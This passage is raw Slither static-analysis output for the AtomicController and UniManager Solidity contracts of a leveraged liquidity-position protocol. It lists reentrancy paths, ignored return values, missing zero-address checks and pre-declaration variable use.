        - require(bool,string)(amountOutReceived == amountOut,AOISNEAI) (contracts/UniManager.sol#111)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities

Reentrancy in AtomicController.TestClosePosition(uint256) (contracts/AtomicController.sol#337-381):
        External calls:
        - liquidity = getTotalLiquidity(positionId) (contracts/AtomicController.sol#343)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
        - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#348)
        - swapIn(addToken,coreToken,totalToPay - coreBalance) (contracts/AtomicController.sol#352)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
        - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#360)
        - pool.protocolReward(takeFee) (contracts/AtomicController.sol#361)
        - trySwapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#365)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
        - IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#371)
        State variables written after the call(s):
        - positionInfo.pnl = pnl (contracts/AtomicController.sol#373)
Reentrancy in AtomicController.closePosition(uint256) (contracts/AtomicController.sol#290-333):
        External calls:
        - (coreFee,addFee) = getTotalCommission(positionId) (contracts/AtomicController.sol#294)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
        - liquidity = getTotalLiquidity(positionId) (contracts/AtomicController.sol#296)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
        - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
        - swapIn(addToken,coreToken,totalToPay - coreBalance) (contracts/AtomicController.sol#305)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
        - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
        - pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
        - trySwapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#318)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
        - IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
        State variables written after the call(s):
        - positionInfo.pnl = pnl (contracts/AtomicController.sol#326)

Reentrancy in AtomicController.liquidate(uint256) (contracts/AtomicController.sol#203-242):
        External calls:
        - getTotalCommission(positionId) (contracts/AtomicController.sol#206)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
        - getTotalLiquidity(positionId) (contracts/AtomicController.sol#207)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
        - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#209)
        - swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#212)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#219)
        - pool.protocolReward(currentBalance) (contracts/AtomicController.sol#228)
        State variables written after the call(s):
        - positionInfo.status = PositionStatus.LIQUIDATED (contracts/AtomicController.sol#231)
Reentrancy in AtomicController.marketClose(uint256) (contracts/AtomicController.sol#167-173):
        External calls:
        - (coreFee,addFee,pnl) = closePosition(positionId) (contracts/AtomicController.sol#170)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
                - pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
                - IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
        State variables written after the call(s):
        - positionInfo.status = PositionStatus.MARKET (contracts/AtomicController.sol#171)
```

```
Reentrancy in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/AtomicController.sol#77-165):
	External calls:
	- IAtomicLending(addTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#96)
	- loanAmountOut = swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#99)
		- (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
		- (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
	- (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq,amount1Liq,totalPositions) (contracts/AtomicController.sol#108)
		- (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
	- IAtomicLending(coreTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#111)
	- loanAmountOut = swapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#114)
		- (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
		- (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
	- (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq_scope_0,amount1Liq_scope_1,totalPositions) (contracts/AtomicController.sol#123)
		- (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
	- IERC20(addToken).transferFrom(msg.sender,aStorage,_openPosition.mortgage) (contracts/AtomicController.sol#140)
	- IAtomicStorage(aStorage).sync() (contracts/AtomicController.sol#142)
	State variables written after the call(s):
	- totalPositions ++ (contracts/AtomicController.sol#162)
Reentrancy in AtomicController.stopLoss(uint256) (contracts/AtomicController.sol#189-201):
	External calls:
	- closePosition(positionId) (contracts/AtomicController.sol#197)
		- pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
		- (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
		- (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
		- IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
		- (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
		- pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
		- pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
		- pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
		- pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
		- IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
	State variables written after the call(s):
	- positionInfo.tickStopLoss = currentTick (contracts/AtomicController.sol#198)
	- positionInfo.status = PositionStatus.SL (contracts/AtomicController.sol#199)

Reentrancy in AtomicController.takeProfit(uint256) (contracts/AtomicController.sol#175-187):
	External calls:
	- closePosition(positionId) (contracts/AtomicController.sol#183)
		- pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
		- (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
		- (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
		- IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
		- (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
		- pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
		- pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
		- pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
		- pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
		- IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
	State variables written after the call(s):
	- positionInfo.tickTakeProfit = currentTick (contracts/AtomicController.sol#184)
	- positionInfo.status = PositionStatus.TP (contracts/AtomicController.sol#185)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1

AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/AtomicController.sol#77-165) ignores return value by _positionOwner[msg.sender].add(totalPositions) (contracts/AtomicControlle
r.sol#161)
UniManager.trySwapOut(address,address,uint256) (contracts/UniManager.sol#78-90) ignores return value by pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tok
enIn,tokenOut))) (contracts/UniManager.sol#81-89)
UniManager.trySwapOut(address,address,uint256) (contracts/UniManager.sol#78-90) ignores return value by pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tok
enIn,tokenOut))) (contracts/UniManager.sol#81-89)
UniManager.collectFee(uint256) (contracts/UniManager.sol#196-222) ignores return value by pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

AtomicController.initialize(IPair,bool,address,address,address)._storage (contracts/AtomicController.sol#59) lacks a zero-check on :
		- aStorage = _storage (contracts/AtomicController.sol#72)
AtomicController.initialize(IPair,bool,address,address,address)._core (contracts/AtomicController.sol#60) lacks a zero-check on :
		- coreTokenPool = _core (contracts/AtomicController.sol#73)
AtomicController.initialize(IPair,bool,address,address,address)._addC (contracts/AtomicController.sol#61) lacks a zero-check on :
		- addTokenPool = _addC (contracts/AtomicController.sol#74)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation

Variable 'AtomicController.openPosition(IAtomicController.OpenPosition).amount0Liq (contracts/AtomicController.sol#102)' in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/At
omicController.sol#77-165) potentially used before declaration: (amount0Liq,amount1Liq) = swapLiqPos(0,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#117)
Variable 'AtomicController.openPosition(IAtomicController.OpenPosition).amount1Liq (contracts/AtomicController.sol#102)' in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/At
omicController.sol#77-165) potentially used before declaration: (amount0Liq,amount1Liq) = swapLiqPos(0,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#117)
Variable 'UniManager.trySwapOut(address,address,uint256).amount1 (contracts/UniManager.sol#87)' in UniManager.trySwapOut(address,address,uint256) (contracts/UniManager.sol#78-90) potentially used bef
ore declaration: amountOut = uint256(-(amount1)) (contracts/UniManager.sol#88)
Variable 'UniManager.trySwapOut(address,address,uint256).amount0 (contracts/UniManager.sol#87)' in UniManager.trySwapOut(address,address,uint256) (contracts/UniManager.sol#78-90) potentially used bef
ore declaration: amountOut = uint256(-(amount0)) (contracts/UniManager.sol#88)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#pre-declaration-usage-of-local-variables

Reentrancy in AtomicController.TestClosePosition(uint256) (contracts/AtomicController.sol#337-381):
	External calls:
	- liquidity = getTotalLiquidity(positionId) (contracts/AtomicController.sol#343)
		- (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
		- (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
	- IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#348)
	- swapIn(addToken,coreToken,totalToPay - coreBalance) (contracts/AtomicController.sol#352)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
	- pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#360)
	- pool.protocolReward(takeFee) (contracts/AtomicController.sol#361)
	- trySwapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#365)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
	- IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#371)
	State variables written after the call(s):
	- limits[positionInfo.owner] = limits[positionInfo.owner] - positionInfo.loanAmountIn (contracts/AtomicController.sol#376)
	- limits[positionInfo.owner] = limits[positionInfo.owner] - positionInfo.loanAmountOut (contracts/AtomicController.sol#378)
Reentrancy in UniManager.addLiquidity(int24,int24,uint256,uint256,uint256) (contracts/UniManager.sol#147-193):
	External calls:
	- (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
	State variables written after the call(s):
	- _liqPositions[positionId] = LiqPosition(tickLower,tickUpper,liquidity,feeGrowthInside0LastX128,feeGrowthInside1LastX128) (contracts/UniManager.sol#186-192)
Reentrancy in AtomicController.closePosition(uint256) (contracts/AtomicController.sol#290-333):
	External calls:
	- (coreFee,addFee) = getTotalCommission(positionId) (contracts/AtomicController.sol#294)
		- pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
		- pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
		- pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
	- liquidity = getTotalLiquidity(positionId) (contracts/AtomicController.sol#296)
		- (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
		- (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
	- IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
	- swapIn(addToken,coreToken,totalToPay - coreBalance) (contracts/AtomicController.sol#305)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
		- (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
	- pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
	- pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
	- trySwapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#318)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
		- pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
	- IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
	State variables written after the call(s):
	- limits[positionInfo.owner] = limits[positionInfo.owner] - positionInfo.loanAmountIn (contracts/AtomicController.sol#329)
	- limits[positionInfo.owner] = limits[positionInfo.owner] - positionInfo.loanAmountOut (contracts/AtomicController.sol#331)
```

```
Reentrancy in AtomicController.liquidate(uint256) (contracts/AtomicController.sol#203-242):
        External calls:
        - getTotalCommission(positionId) (contracts/AtomicController.sol#206)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
        - getTotalLiquidity(positionId) (contracts/AtomicController.sol#207)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
        - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#209)
        - swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#212)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#219)
        - pool.protocolReward(currentBalance) (contracts/AtomicController.sol#228)
        State variables written after the call(s):
        - limits[positionInfo.owner] = limits[positionInfo.owner] - positionInfo.loanAmountIn (contracts/AtomicController.sol#234)
        - limits[positionInfo.owner] = limits[positionInfo.owner] - positionInfo.loanAmountOut (contracts/AtomicController.sol#236)
Reentrancy in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/AtomicController.sol#77-165):
        External calls:
        - IAtomicLending(addTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#96)
        - loanAmountOut = swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#99)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq,amount1Liq,totalPositions) (contracts/AtomicController.sol#108)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        State variables written after the call(s):
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq,amount1Liq,totalPositions) (contracts/AtomicController.sol#108)
                - _liqPositions[positionId] = LiqPosition(tickLower,tickUpper,liquidity,feeGrowthInside0LastX128,feeGrowthInside1LastX128) (contracts/UniManager.sol#186-192)

Reentrancy in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/AtomicController.sol#77-165):
        External calls:
        - IAtomicLending(coreTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#111)
        - loanAmountOut = swapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#114)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
